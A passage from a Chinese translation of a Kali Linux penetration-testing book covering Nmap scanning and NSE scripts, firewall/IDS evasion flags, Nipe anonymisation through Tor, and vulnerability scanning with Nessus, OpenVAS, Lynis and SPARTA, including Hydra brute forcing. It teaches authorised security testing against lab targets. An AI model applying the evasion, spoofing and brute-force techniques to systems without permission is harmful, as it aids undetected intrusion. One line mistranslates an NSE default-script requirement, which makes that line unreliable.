  • insane (5): 在此模式下,Nmap 将在移动到下一个目标之前仅扫描给定主机 75 秒。Nmap 不会等待超过 0.3 秒的响应。

根据我们的经验,默认的定时模式通常效果很好,除非您想要进行更隐秘或更快速的扫描。

有用的 Nmap 选项

在本节中,我们将讨论在进行渗透测试工作时非常有用的几个 Nmap 选项。

服务版本检测

在进行端口扫描时,也可以要求 Nmap 检查服务版本。在进行后续的漏洞识别过程时,此信息非常有用。

要使用此功能,请给 Nmap 添加-sV选项。

以下是此功能用法的示例。我们想要找到端口22上使用的软件版本:

    nmap -sV 172.16.43.156 -p 22

以下是此命令的结果:

根据上述信息,我们知道端口22上有一个使用OpenSSH软件版本 4.7p1 的 SSH 服务,SSH 协议是2.0

操作系统检测

Nmap 还可以查询目标机器使用的操作系统。在进行后续的漏洞识别过程中,这些信息非常有用。

要使用此功能,请给 Nmap 加上-O选项。

以下是此功能用法的示例。我们想要找到目标机器上使用的操作系统:

    nmap -O 172.16.43.156 

以下命令行是此命令的结果:

根据上述信息,我们可以看到远程系统是使用 Linux 内核版本2.6.9 - 2.6.33的 Linux 操作系统。如果这些 Linux 内核存在漏洞,我们可以利用它们。

Aggressive scan

如果使用-A选项,它将启用以下探测:

  • 服务版本检测(-sV

  • 操作系统检测(-O

  • 脚本扫描(-sC

  • Traceroute(--traceroute

这种扫描类型可能需要一些时间才能完成。以下命令可用于进行主动扫描:

    nmap -A 172.16.43.156

以下是此命令的摘要结果:

除了有关端口、服务和证书的详细信息之外,我们还可以在结果的后面获得有关配置在目标机器上的 Apache Web 服务器的详细信息:

用于扫描 IPv6 目标的 Nmap

在前一节中,我们提到您可以在 Nmap 中指定 IPv6 目标。在本节中,我们将深入讨论这个问题。

对于这种情况,每台机器的 IPv6 地址如下:

    Target machine: fe80::20c:29ff:fe18:f08

要扫描 IPv6 目标,只需使用-6选项并定义 IPv6 目标地址。目前,您只能指定单个 IPv6 地址。以下是扫描 IPv6 地址的示例命令:

    nmap -6 fe80::20c:29ff:fe18:f08

以下是此命令的结果:

我们可以看到,在 IPv6 测试中,开放的端口数量比 IPv4 测试中少。这可能是由于远程机器上的服务尚不支持 IPv6。

使用 Netdiscover 进行扫描

Netdiscover 是另一个发现工具,内置于 Kali Linux 2018.2 中。目前处于.03-pre-beta7 版本,由 Jaime Penalba 编写,Netdiscover 可以使用 ARP 请求对无线和交换网络进行侦察和发现。

要启动 Netdiscover,请键入netdiscover -h以查看使用选项。(如果只键入netdiscover命令,Netdiscover 将启动默认扫描。)

要扫描一系列 IP 地址,请键入netdiscover -r,然后输入 IP 范围。在本例中,我们使用了netdiscover -r 10.10.0.0/24。您还可以选择使用netdiscover -p选项进行被动扫描。

在前面的扫描中,我们可以看到发现了 Dell 和 HP 工作站、思科设备,甚至还有施乐多功能设备。

Nmap 脚本引擎

尽管 Nmap 本身已经成为一个强大的网络探索工具,但通过额外的脚本引擎功能,Nmap 变得更加强大。使用Nmap 脚本引擎NSE),用户可以自动化各种网络任务,例如检查应用程序中的新安全漏洞、检测应用程序版本或其他 Nmap 中不可用的功能。Nmap 已经在其软件包中包含了各种 NSE 脚本,但用户也可以编写自己的脚本以满足其需求。

NSE 脚本利用了嵌入在 Nmap 中的 Lua 编程语言(www.lua.org),目前,NSE 脚本分为以下几类:

  • auth:此类别中的脚本用于查找目标系统上的身份验证设置;例如,通过使用暴力破解技术。

  • default:这些脚本使用-sC-A选项运行。如果脚本满足以下要求,脚本将被分组到默认类别中:

  • 它必须快速

  • 它需要产生有价值且可操作的信息

  • 它的输出需要详细而简洁

  • 它必须是可靠的

  • 它不应对目标系统造成侵入

  • 它应该向第三方泄露信息

  • discovery:这些脚本用于查找网络。

  • DoS:此类别中的脚本可能会在目标系统上引起拒绝服务DoS)。请谨慎使用。

  • exploit:这些脚本将利用目标系统上的安全漏洞。渗透测试人员需要获得在目标系统上运行这些脚本的权限。

  • external:这些脚本可能泄露信息给第三方。

  • fuzzer:这些脚本用于对目标系统进行模糊测试。

  • intrusive:这些脚本可能会使目标系统崩溃或使用目标系统的所有资源。

  • malware:这些脚本将检查目标系统上恶意软件或后门的存在。

  • safe:这些脚本不应该导致服务崩溃,拒绝服务DoS)或利用目标系统。

  • version:这些脚本与版本检测选项(-sV)一起使用,以对目标系统上的服务进行高级检测。

  • vuln:这些脚本用于检查目标系统的安全漏洞。

在 Kali Linux 中,这些 Nmap 脚本位于/usr/share/nmap/scripts目录中,目前,包含在 Kali Linux 中的 Nmap 版本 7.70 包含 588 个脚本。

有几个命令行参数可用于调用 NSE,如下所示:

  • -sC 或--script=default:这将使用默认脚本执行扫描。

  • --script <filename> | <category> | <directories>:这将使用文件名、类别或目录中定义的脚本执行扫描。

  • --script-args <args>:这提供了一个脚本参数。这些参数的一个示例是用户名或密码,如果您使用auth类别。

对于端口扫描172.16.43.156主机并利用默认脚本类别,我们可以给出以下命令:

    nmap -sC 172.16.43.156

以下是一个缩短的结果:

    Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-02-22 17:09 PST
    Nmap scan report for 172.16.43.156
    Host is up (0.000099s latency).
    Not shown: 977 closed ports
    PORT     STATE SERVICE
    21/tcp   open  ftp
    |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
    22/tcp   open  ssh
    | ssh-hostkey: 
    |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
    |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
    23/tcp   open  telnet
    25/tcp   open  smtp
    |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
    | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
    | Not valid before: 2010-03-17T14:07:45
    |_Not valid after:  2010-04-16T14:07:45
    |_ssl-date: 2016-02-12T05:51:52+00:00; -10d19h17m25s from scanner time.
    53/tcp   open  domain
    | dns-nsid: 
    |_  bind.version: 9.4.2
    80/tcp   open  http
    |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
    |_http-title: Metasploitable2 - Linux
    8009/tcp open  ajp13
    |_ajp-methods: Failed to get a valid response for the OPTION request
    8180/tcp open  unknown
    |_http-favicon: Apache Tomcat
    |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
    |_http-title: Apache Tomcat/5.5
    MAC Address: 00:0C:29:18:0F:08 (VMware)

    Host script results:
    |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
    | smb-os-discovery: 
    |   OS: Unix (Samba 3.0.20-Debian)
    |   NetBIOS computer name: 
    |   Workgroup: WORKGROUP
    |_  System time: 2016-02-12T00:51:49-05:00

    Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds

从前面的信息中,您可以看到 Nmap 结果现在更加彻底。这是因为它利用了 NSE 默认脚本。

然而,如果您只想获取有关目标系统的特定信息,可以单独使用脚本。如果我们想收集有关 HTTP 服务器的信息,可以使用 NSE 中的几个 HTTP 脚本,例如http-enumhttp-headershttp-methodshttp-php-version,使用以下命令:

    nmap --script http-enum,http-headers,http-methods,http-php-version -p 80 172.16.43.156  

以下是此命令的结果:

通过利用与 HTTP 相关的四个 NSE 脚本,我们可以获得有关目标系统 Web 服务器的更多信息:

  • 有几个有趣的目录要检查:TikiwikitestphpMyAdmin

  • 我们有一个有趣的文件:phpinfo.php

  • 我们知道服务器正在使用 PHP 版本5.2.3 -5.2.5

在讨论了 Nmap 之后,让我们讨论另一个端口扫描工具。

有一个有用的 NSE 脚本称为 Nmap NSE Vulscan(www.computec.ch/mruef/software/nmap_nse_vulscan-1.0.tar.gz),它可以帮助您将从目标机器获取的版本信息与 CVE(cve.mitre.org/)、VulDB(vuldb.com/?)、SecurityTracker(securitytracker.com/)和 SecurityFocus(www.securityfocus.com/)等漏洞数据库进行映射。

以下屏幕截图显示了 CVE 脚本的示例结果:

防火墙/IDS 规避的 Nmap 选项

在渗透测试期间,您可能会遇到使用防火墙和 IDS 保护系统的系统。如果您只使用默认设置,您的操作可能会被检测到,或者您可能无法从 Nmap 获得正确的结果。以下选项可用于帮助您规避防火墙/IDS:

  • -f (分片数据包):此选项的目的是使数据包更难被检测到。通过指定此选项一次,Nmap 将在 IP 头之后将数据包分割为 8 字节或更少。

  • --mtu:使用此选项,您可以指定自己的数据包大小分片。最大传输单元MTU)必须是 8 的倍数,否则 Nmap 将出错并退出。

  • -D (诱饵):通过使用此选项,Nmap 将从用户指定的欺骗 IP 地址发送一些探测。其想法是掩盖用户在日志文件中的真实 IP 地址。用户 IP 地址仍然在日志中。您可以使用RND生成随机 IP 地址,或使用RND:number生成<number>个 IP 地址。您用于诱饵的主机应该是活动的,否则将会淹没目标。还要记住,使用许多诱饵可能会导致网络拥塞,因此您可能希望避免这种情况,特别是在扫描客户网络时。

  • --source-port 或-g(欺骗源端口):如果防火墙设置为允许来自特定端口的所有传入流量,此选项将非常有用。

  • --data-length:此选项用于更改 Nmap 发送的默认数据长度,以避免被检测为 Nmap 扫描。

  • --max-parallelism:通常将此选项设置为 1,以指示 Nmap 一次发送不超过一个探测到目标主机。

  • --scan-delay

您还可以尝试其他 Nmap 规避选项,如 Nmap 手册中所述(nmap.org/book/man-bypass-firewalls-ids.html)。

使用 Striker 进行自动扫描

Striker 是一个内置 Python 的自动扫描和深度信息收集工具,用于执行端口/服务和漏洞扫描。与我们在上一章中使用的自动化工具(Red_Hawk 和 Devploit)类似,Striker 安装和使用都很简单。

我们必须首先下载 Striker。为此,请打开终端并输入以下内容更改为Desktop(或您选择的目录):

cd Desktop

输入以下内容将 Striker 克隆到您的桌面或(或您选择的目录):

git clone https://github.com/s0md3v/Striker.git

一旦成功下载完成(如前一个屏幕截图中所示,对象和增量均为 100%),输入cd Striker,然后使用ls命令列出 Striker 文件夹中的文件。您应该看到列出了五个文件,包括requirements.txtstriker.py

为了使 Striker 无错误地运行,我们必须首先使用软件包管理安装程序(pip)来确保满足运行 Striker 所需的所有要求,包括 Whois 模块(这对于信息收集是必要的)。

为此,我们运行以下两个命令,pip install -r requirements.txt,然后是pip install whois

安装成功所有要求后,输入pip install whois(即使可能已经安装了要求):

最后,要运行 Striker,我们输入python striker.py

现在将运行 Striker GUI。作为一个完全自动化的工具,从这一点开始所需的只是目标 IP 或 URL。

在此示例中,我们使用了用于 Nmap 扫描部分的scanme.nmap.org/网站。将扫描结果与 Nmap 之前发现的结果进行比较:

请注意,Striker 还发现了 DNS 记录信息以及两个电子邮件地址,如下截图所示:

使用 Nipe 进行匿名

Nipe 是一种利用 Tor 网络作为用户默认网关的工具,从而通过 Tor 网络路由所有流量,通常用于提供一定程度的隐私和匿名性。需要注意的是,当使用隐私和匿名性工具时,仅掩盖 IP 地址将不会提供匿名性,因为 DNS 信息可能仍然可用。必须同时掩盖 IP 和 DNS 信息。

我们首先通过将 Nipe 克隆到我们的计算机的桌面或您选择的目录来安装 Nipe。打开终端并更改目录到桌面(或您选择的目录):

Cd Desktop

通过输入以下内容将 Nipe 克隆到您的计算机:

git clone https://github.com/GouveaHeitor/nipe.git

通过输入cd Nipe更改到 Nipe 目录,然后通过输入ls列出目录内容:

安装 Nipe,输入cpan install Switch JSON LWP::UserAgent。在提示进行自动安装时,按Enter

安装 Nipe 依赖项,运行命令perl nipe.pl install

在启动 Nipe 之前,检查您的公共 IP 地址和 DNS IP,并在启动 Nipe 后将它们与给定的 IP 进行比较。您可以使用的一些查看公共 IP 的网站示例是www.whatsmyipaddress.comwww.dnsleak.com

要启动 Nipe 服务,请输入perl nipe.pl start

您还可以通过输入perl nipe.pl restart重新启动服务,以将您的 IP 掩盖到不同的地区。安装和使用 Nipe 工具的所有命令也可以在其 GitHub 页面上找到github.com/GouveaHeitor/nipe

使用先前列出的 IP 和 DNS 验证网站来检查您的设置是否确实已更改。

总结

在本章中,我们讨论了目标发现过程。我们首先讨论了目标发现的目的:识别目标机器并找出目标机器使用的操作系统。然后,我们继续使用 Kali Linux 和 GitHub 提供的工具,这些工具可用于发现和识别目标机器。

我们讨论了用于主机发现和扫描的几种工具,如ping,Nmap,p0f和 Striker,并且还研究了使用 Nipe 来掩盖您的 IP 和 DNS 以逃避检测。

在下一章中,我们将讨论漏洞扫描以及在 Kali Linux 中用于此目的的工具。

问题

  1. 哪个工具可以用于一次向多个主机发送 ICMP 回显请求?(fping

  2. Nmap 7.7 中有多少个脚本?(588 个脚本)

  3. FIN 标志的目的是什么?(它表示没有更多数据要发送,并且连接应该被终止。)

  4. 过滤端口表示什么?(阻止数据包的设备阻止了探测到达目标。)

  5. 在规避防火墙和 IDS 时,可以使用哪个 Nmap 选项使数据包更难被检测到?(-f,用于分片数据包)

  6. 使用 Netdiscover 工具扫描一系列 IP 的命令是什么?(netdiscover -r

  7. 在 Netdiscover 中可以使用哪个选项来运行被动扫描?(-p

  8. 哪个网站可以用来确保 DNS 信息没有泄漏?(www.dnsleak.com

进一步阅读

Linux 网络工具: gist.github.com/miglen/70765e663c48ae0544da08c07006791f

Nmap 脚本引擎: nmap.org/book/nse.html

端口扫描技术: nmap.org/book/man-port-scanning-techniques.html

第六章:漏洞扫描

漏洞映射是识别和分析目标环境中关键安全缺陷的过程。有时也被称为漏洞评估。这是漏洞管理计划的关键领域之一,通过它可以分析 IT 基础设施的安全控制与已知漏洞之间的关系。一旦信息收集、发现和枚举操作完成,就是时候调查目标基础设施中可能导致目标被攻破并侵犯商业系统的机密性、完整性和可用性的漏洞了。

在本章中,我们将讨论两种常见的漏洞类型,介绍各种用于分类漏洞的标准,并解释 Kali Linux 操作系统下提供的一些著名漏洞评估工具。本章探讨以下主题:

  • 两种通用类型的漏洞概念:本地和远程。

  • 漏洞分类法指向行业标准,可用于根据其统一的共性模式对任何漏洞进行分类。

  • 一些安全工具可以帮助我们发现和分析目标环境中存在的安全漏洞。这些工具根据它们在安全评估过程中的基本功能进行分类。其中包括 Nessus、思科、模糊测试工具、SMB、SNMP 和 Web 应用程序分析工具。

请注意,在处理任何类型的渗透测试任务时,无论是内部还是外部,手动和自动漏洞评估程序应当受到同等对待。严格依赖自动化有时可能会产生误报和漏报。审计员对技术相关评估工具的了解程度可能是执行渗透测试时的决定性因素。测试人员使用的工具和技能应当不断更新以确保成功。此外,有必要提到自动漏洞评估并非最终解决方案;在某些情况下,自动化工具可能无法识别逻辑错误、未发现的漏洞、未公开的软件漏洞以及影响安全性的人为因素。

因此,建议使用综合方法,结合自动化和手动漏洞评估方法。这将提高成功渗透测试的可能性,并为纠正漏洞提供最佳信息。

技术要求

一台至少配备 6GB RAM、四核 CPU 和 500GB HDD 空间的笔记本电脑或台式机。对于操作系统,我们将使用 Kali Linux 2018.2 或 2018.3(作为虚拟机,或安装在 HDD、SD 卡或 USB 闪存驱动器上)。

漏洞类型

有三个主要的漏洞类别,可以根据这些类别对缺陷的类型进行区分,包括本地和远程漏洞。这些类别通常分为设计、实施和操作漏洞:

  • 设计漏洞:这些是由于软件规范中发现的弱点而被发现的。

  • 实施漏洞:这些是在系统代码中发现的技术安全漏洞。

  • 操作漏洞:这些是由于系统在特定环境中的不正确配置和部署而可能出现的漏洞。

基于这三类,我们有两种通用类型的漏洞,即本地和远程漏洞,它们可以出现在任何类别的漏洞中。

本地漏洞

攻击者需要本地访问才能通过执行一段代码触发漏洞的情况被称为本地漏洞。通过利用这种类型的漏洞,攻击者可以提高其访问权限,获得对计算机的无限制访问。

让我们举一个例子,鲍勃可以访问运行 MS Windows Server 2008(32 位,x86 平台)的系统。 通过实施安全策略,管理员限制了他的访问权限,这将不允许他运行特定应用程序。 在极端情况下,他发现通过使用恶意代码,他可以获得系统级或内核级访问权限。 通过利用已知的漏洞(例如 CVE-2013-0232,GP Trap Handler nt!KiTrap0D),他获得了提升的特权,从而可以执行所有管理任务并无限制地访问应用程序。 这清楚地向我们展示了恶意对手如何利用漏洞来未经授权地访问系统。

有关 CVE-2013-0232 MS Windows 权限提升漏洞的更多信息,请访问www.exploit-db.com/exploits/11199/

远程漏洞

远程漏洞是指攻击者没有先前访问权限,但仍然可以通过网络触发恶意代码来利用漏洞。 这种类型的漏洞允许攻击者远程访问计算机,而无需面对任何物理或本地障碍。

例如,鲍勃和爱丽丝分别连接到互联网。 他们两人有不同的 IP 地址,并且地理上分散在两个不同的地区。 假设爱丽丝的计算机正在运行 Windows XP 操作系统,并且保存着秘密的生物技术信息。 我们还假设鲍勃已经知道爱丽丝机器的操作系统和 IP 地址。 现在鲍勃正在寻找一个可以让他远程访问她的计算机的解决方案。 最终,他发现 MS08-067 Windows Server Service 的漏洞可以轻松地远程利用 Windows XP 机器。

然后,他触发了针对爱丽丝计算机的利用,并完全访问了它。

有关 MS08-067 MS Windows Server Service 漏洞的更多信息,请访问www.exploit-db.com/exploits/6841/

漏洞分类

在过去几年中,随着可用技术数量的增加,人们已经尝试引入最佳分类法,以对所有常见的漏洞集进行分类。 但是,没有一个单一的分类法能够代表可能影响系统安全的所有常见编码错误。 这是因为单个漏洞可能属于多个类别。 此外,每个系统平台都有其与环境交互的连接性、复杂性和可扩展性基础。 因此,以下表中提出的分类标准将帮助您尽可能地识别大多数常见的安全漏洞。 请注意,这些分类法中的大多数已经在许多安全评估工具中实施,以实时调查软件安全问题:

安全分类资源链接
七个有害王国www.cigital.com/papers/download/bsi11-taxonomy.pdf
常见弱点枚举cwe.mitre.org/data/index.html
OWASP 十大漏洞www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Klocworkwww.klocwork.com/products/documentation/Insight-9.1/Taxonomy
WASC 威胁分类projects.webappsec.org/Threat-Classification

每个这些分类法的主要功能是组织一组安全漏洞,这些漏洞可以被安全从业人员和开发人员用来识别可能对系统安全产生影响的特定错误。因此,没有一个分类法应被认为是完整和准确的。

自动漏洞扫描

纯粹的渗透测试人员经常评论使用自动漏洞扫描器是作弊,但在某些情况下,例如在有限的时间内进行渗透测试时,漏洞扫描器对于在短时间内获得有关目标网络的大量信息至关重要。

使用 Nessus 7 进行漏洞扫描

Tenable 的 Nessus 是一个非常受欢迎的漏洞评估工具,已经存在了将近 20 年。Nessus 可以通过年度订阅来访问;然而,Tenable 的工作人员已经将 Nessus 专业版作为 7 天试用版提供给那些希望尝试的人。

在安装 Nessus 之前,您可能希望注意您正在运行的 Kali Linux 版本,以确保您下载适当版本的 Nessus。

要做到这一点,只需在终端中输入uname -a,如下所示:

在这个截图中,我们可以看到我正在使用基于 Debian 的 64 位版本(amd64)的 Kali Linux。因此,我需要下载 Debian 构建的 64 位版本。

安装 Nessus 漏洞扫描器

要在 Kali Linux 中安装 Nessus,打开浏览器并导航到 Nessus 评估页面www.tenable.com/try。评估版本具有完整版本的所有功能,但扫描受到 16 个 IP 的限制。

您将需要在 Tenable 注册,以便评估代码可以发送到您的电子邮件。

收到带有评估代码的电子邮件后,您可以按照以下步骤在 Kali Linux 中下载适当版本的 Nessus,如下所示:

选择要安装的 Nessus 版本,点击接受以同意 Nessus 使用条款,然后在提示时点击保存文件选项保存 Nessus 下载。这将把文件保存到 Kali Linux 的 Downloads 文件夹中。在这个例子中,我选择了 64 位版本的 Nessus(Nessus-7.1.3-debian6_amd64.deb)。

下载完成后,打开一个新的终端,并通过输入cd Downloads来切换到 Downloads 目录。输入ls以查看 Downloads 目录的内容。这样做也很有用,因为我们可以复制 Nessus 下载文件的名称,并将其粘贴到以下命令中。然后,通过输入dpkg -i Nessus-7.1.3-debian6_amd64.deb来安装 Nessus,如下所示:

如果有更新版本的 Nessus 可用,执行dpkg -i命令时复制您特定的下载文件和版本的名称。

在 Downloads 文件夹中,通过输入service nessusd start来启动 Nessus 服务。在提示时输入 Kali Linux 的密码,如下所示:

使用 Nessus,打开浏览器,在地址栏中输入https://localhost:8834 URL,然后按Enter。当显示不安全警告横幅时,点击高级按钮,然后点击添加异常,最后点击确认安全异常,如下所示:

按照提示执行步骤 1-3,首先创建一个帐户,指定用户名和帐户,然后点击继续。

在第 2 步中,将默认的扫描器类型选项设置为家庭、专业或管理器,并将通过电子邮件收到的激活代码粘贴到激活代码字段中。点击继续继续。如果一切顺利,Nessus 将开始初始化,下载和编译所需的插件,如下所示:

这可能需要几分钟,具体取决于您的互联网连接速度。与此同时,随时可以浏览 Packt Publishing 在渗透测试和 Kali Linux 上的许多标题www.packtpub.com

完成所有更新后,Nessus 界面将加载。单击右上角的“新扫描”按钮,以查看所有可用的扫描类型,如下截图所示:

除了一些仅适用于付费订阅的模板外,还有各种扫描模板可供选择。除了执行主机发现和高级扫描外,Nessus 还可以执行许多类型的高级漏洞扫描,包括以下内容:

  • 云基础设施扫描

  • 本地和远程恶意 shell 检测扫描

  • 内部 PCI 网络扫描

  • Linux 和 Windows 恶意软件扫描

  • Spectre 和 Meltdown 扫描

  • Wannacry 勒索软件扫描

  • Web 漏洞扫描

其中一些显示在以下截图中:

对于此评估,我将使用一个易受攻击的 Linux Web 服务器来演示漏洞披露的目的。如第二章中所述,设置您的测试实验室,您可以选择设置 Metasploitable 2、Metasploitable 3、Damn Vulnerable Linux,甚至 BadStore。

单击扫描窗口中的高级扫描模板,并填写基本部分中的字段。在目标字段中,指定要使用高级扫描模板扫描的主机或主机范围,如下所示:

探索左侧栏的其他部分,因为有许多不同的设置。这些设置允许您自定义扫描以满足您的特定要求:

  • 发现:Nessus 利用多种不同的方法来发现活动主机。在这里,您可以为主机发现设置特定参数。

  • 评估:这允许您设置扫描的类型和深度。

  • 报告:当准备渗透测试报告时,具有有关漏洞扫描的详细信息很重要。此功能允许您设置报告参数。

  • 高级:高级设置允许您更改一次扫描的主机数量和其他时间参数。

配置完扫描后,可以选择保存或启动。现在,您将在“我的扫描”下看到您的扫描列表。

单击给定扫描名称右侧的播放图标。这将运行扫描。如果您在扫描运行时单击扫描名称,将会看到主机和一般的漏洞信息,如下所示:

单击主机将带您进入发现的漏洞的更详细列表。漏洞按以下方式进行颜色编码:

  • 红色-关键

  • 橙色-高

  • 黄色-中

  • 绿色-低

  • 蓝色-信息性

如下截图所示,扫描结果显示发现了 70 个漏洞,其中 6 个是关键的,17 个是高级的,这意味着这台机器非常容易受攻击:

单击有颜色的漏洞类别,按照最易受攻击(即关键)到最不易受攻击(信息性)的顺序显示漏洞:

单击漏洞将为测试人员提供有关漏洞的更详细信息,如下所示:

这些信息不仅包括有关漏洞的信息,还包括是否有可用的利用程序的信息。这使得渗透测试人员能够针对这些漏洞制定额外的攻击:

Nessus 是在任何渗透测试中使用的强大工具。它提供了大量信息和功能,本节无法涵盖。建议您花一些时间了解可用的功能以及如何使用它们。此外,Tenable 已经免费提供了家庭版本供您测试。如果您有外部 IP,或者正在为客户使用 Nessus,您将不得不使用付费版本。

使用 OpenVAS 进行漏洞扫描

Open Vulnerability Assessment SystemOpenVAS)是一个开源漏洞扫描框架。OpenVAS 安装简单,具有用户友好的界面,用于执行漏洞评估。根据 OpenVAS 网站(www.openvas.org/about.html),框架中有超过 50,000 个网络漏洞测试NVTs),这是 Greenbone Networks 商业漏洞管理框架的一部分。

要安装 OpenVAS,请打开新的终端并输入apt-get install openvas,如下所示:

一旦 OpenVAS 安装成功,输入openvas-setup到终端开始设置和配置。这个过程可能需要一些时间,取决于你的下载速度:

在设置和配置过程结束时,OpenVAS 将生成一个密码密钥,启动 OpenVAS 时将需要该密钥:

要启动 OpenVAS 服务,请输入openvas-start,然后在浏览器窗口中输入https://127.0.0.1:9392https://localhost:9392连接到 Web 界面。

再次使用 OpenVAS 时,只需打开终端并输入openvas-start,因此无需再次运行设置。

您还需要点击高级,然后添加异常,最后在输入先前的 URL 后确认安全异常,如下面的屏幕截图所示:

提示时,请使用用户名admin和在设置过程中生成的密码登录。请确保将此登录信息安全存储,因为您在使用 OpenVAS 时将需要登录,如下所示:

要运行扫描,请点击扫描,然后点击任务。一个信息框将打开,提示您将鼠标放在屏幕左上角的紫色图标上的任务向导上,如下所示:

单击高级任务向导。在给定字段中输入相关信息。请注意,扫描配置字段有多种扫描类型可供选择,包括发现、完整和快速、完整和快速终极以及完整和非常深的终极(最耗时和资源消耗的选项)。开始时间选项允许渗透测试人员安排扫描。这可能非常有用,因为扫描可能会对网络造成干扰,因此您可能希望在工作时间之后或周末运行扫描,如果有必要的话:

完成所有相关字段后,向下滚动并单击创建。这将启动扫描并显示扫描详细信息和状态摘要,如下所示:

要查看任务的更多详细信息,请单击名称字段内的任务名称:

扫描完成后,点击完成。这将生成一个报告,列出找到的漏洞以及每个漏洞的严重程度评级:

单击列出的每个漏洞会显示更多信息,包括摘要、影响、解决方案、受影响的软件/操作系统以及其他见解,如下面的屏幕截图所示:

使用 Lynis 进行 Linux 漏洞扫描

由 Cisofy(www.cisofy.com)开发,Lynis 是 Kali Linux 中可用的命令行安全审计工具。Lynis 可免费使用,但也有企业版可用。Lynis 可用于对各个版本的 Linux、macOS X 和基于 Unix 的操作系统执行自动化安全审计评估和漏洞扫描。

Lynis 的特点在于它专注于执行各种 HIPAA、PCIDSS、SOX 和 GLBA 合规审计,在已采用各种合规标准的企业中具有很大的价值。Lynis 可以下载并安装在独立系统上,从而消除了远程审计和漏洞评估工具产生的大部分流量,尽管也可以选择执行远程评估。

Lynis 是 Kali Linux 套件的一部分,但也可以从 GitHub(github.com/CISOfy/lynis)克隆或直接从官方网站(cisofy.com/documentation/lynis/get-started/#installation)下载。

要在 Kali 中运行 Lynis,可以通过单击“应用程序”,然后单击“漏洞分析”,然后单击“Lynis”,或者在终端中键入lynis来执行。此命令显示了 Lynis 的安装版本(在本例中为 2.6.2)并初始化程序。还显示了一些有用的命令选项,如下图所示:

您还可以随时键入lynis show commands来查看 Lynis 中可用的命令:

由于 Lynis 是一个完全自动化的审计评估工具,因此使用的命令很少。要对整个 Kali Linux 机器进行审计,只需键入lynis audit system。此评估的时间取决于运行评估的 Kali Linux 机器的规格,但通常为 15 至 30 分钟。审计显示如下:

对系统执行的一些测试和审计包括以下内容:

  • Debian 测试

  • 引导和服务

  • 内核

  • 内存和进程

  • 用户、组和身份验证

  • 外壳

  • 文件系统

  • USB 设备

  • 网络和防火墙

  • 端口和打印机

  • 内核加固

以下屏幕截图显示了 Lynis 审计结果的片段,其中有 4 个警告和 40 个建议:

滚动到审计评估的末尾,我们可以找到 Lynis 审计的摘要详情如下:

使用 SPARTA 进行漏洞扫描和枚举

SPARTA 是一个 GUI 网络基础设施渗透测试工具,由 SECFORCE 的 Antonio Quina 和 Leonidas Stavliotis 编写,并内置在 Kali Linux 中。SPARTA 自动化了扫描、枚举和漏洞评估过程。除了其扫描和枚举功能外,SPARTA 还具有用于破解密码的内置暴力破解工具。

最新版本的 SPARTA 也可以从 GitHub 下载,并使用git clone https://github.com/secforce/sparta.git命令克隆到本地机器。

要在 Kali Linux 2018 中启动 SPARTA,请单击“应用程序”,然后单击“漏洞分析”,然后选择 SPARTA。

在 SPARTA 1.0.3 GUI 中,单击左窗格以将主机或主机添加到范围。也可以通过单击“文件”,然后单击“将主机添加到范围”来完成此操作,如下所示:

添加主机后,针对目标运行 Nmap 主机发现和分阶段 Nmap 扫描,因为在上一个屏幕截图中选择了这些选项。以下屏幕截图显示了正在进行的扫描:

完成 Nmap 扫描后,SPARTA 在主窗口中提供了几个选项卡,如 Services、Scripts、Information、Notes、Nikto 和 Screenshot 选项卡,都提供非常有用的信息。

默认情况下,我们首先在 Services 选项卡下看到了一个开放端口和服务列表,如下所示:

点击 Information 选项卡会显示收集的主机信息,包括 IP 信息;开放、关闭和过滤的端口数量(如果有);以及操作系统和版本的准确度评级:

在这种情况下,目标是一个 Linux Web 服务器,Nikto Web 扫描工具也作为流程的一部分运行。点击 nikto(80/tcp)选项卡会显示发现的漏洞列表:

发现的许多漏洞都带有 OSVBD 前缀,这表明它们可以在通用漏洞和暴露CVE)和开放源漏洞数据库OSVDB)等数据库中搜索。例如,渗透测试人员可以通过简单的 Google 搜索 OSVDB-3268,找到 SPARTA 在先前扫描中发现的存在漏洞的更多信息。然后他们可以利用各种工具,如 Metasploit,来利用这一点,这将在本书的后续章节中讨论。

查看扫描中包含的另一台 Windows 机器(10.10.22.217),点击 Services 选项卡会显示几个开放端口,如下截图所示:

由于检测到了 Windows 机器,SPARTA 运行了smbenum工具来枚举 Windows 机器,以检查空会话并执行枚举任务,包括搜索用户和共享,如下所示:

SPARTA 通过允许渗透测试人员执行各种网络渗透测试功能,将扫描、枚举和漏洞评估推进了一步。在 Services 选项卡中,我们可以右键单击任何开放端口来执行这些任务。

在下面的截图中,右键单击开放端口 3306 会呈现尝试使用 Telnet、Netcat 或 MySQL 客户端(作为 root)打开端口的选项。还有一个选项是发送到 Brute,尝试通过暴力破解来破解密码:

点击 Send to Brute 会尝试通过所选端口使用 THC Hydra 密码破解工具进行暴力攻击。还可以在尝试中使用用户名和密码列表,以及各种选项尝试空密码、尝试登录作为密码等。在指定选项后,点击 Run 尝试进行攻击:

这些绝不是 Sparta 中唯一可用的工具。例如,在 Windows 机器上右键单击开放端口 445 会显示渗透测试人员可用的更多选项,如下所示:

总结

在本章中,我们讨论了基于 Kali Linux 中使用的一些工具的过程,以识别和分析关键的安全漏洞。我们还提到了三种主要类别的漏洞——设计、实施和操作,并讨论了它们如何分为两种通用类型的漏洞:本地和远程。之后,我们讨论了几种漏洞分类法,安全审计员可以按照它们的统一共性模式对安全漏洞进行分类。为了进行漏洞评估,我们向您介绍了一些允许进行自动化扫描和漏洞评估的工具,包括 Nessus、OpenVAS、Lynis 和 SPARTA。

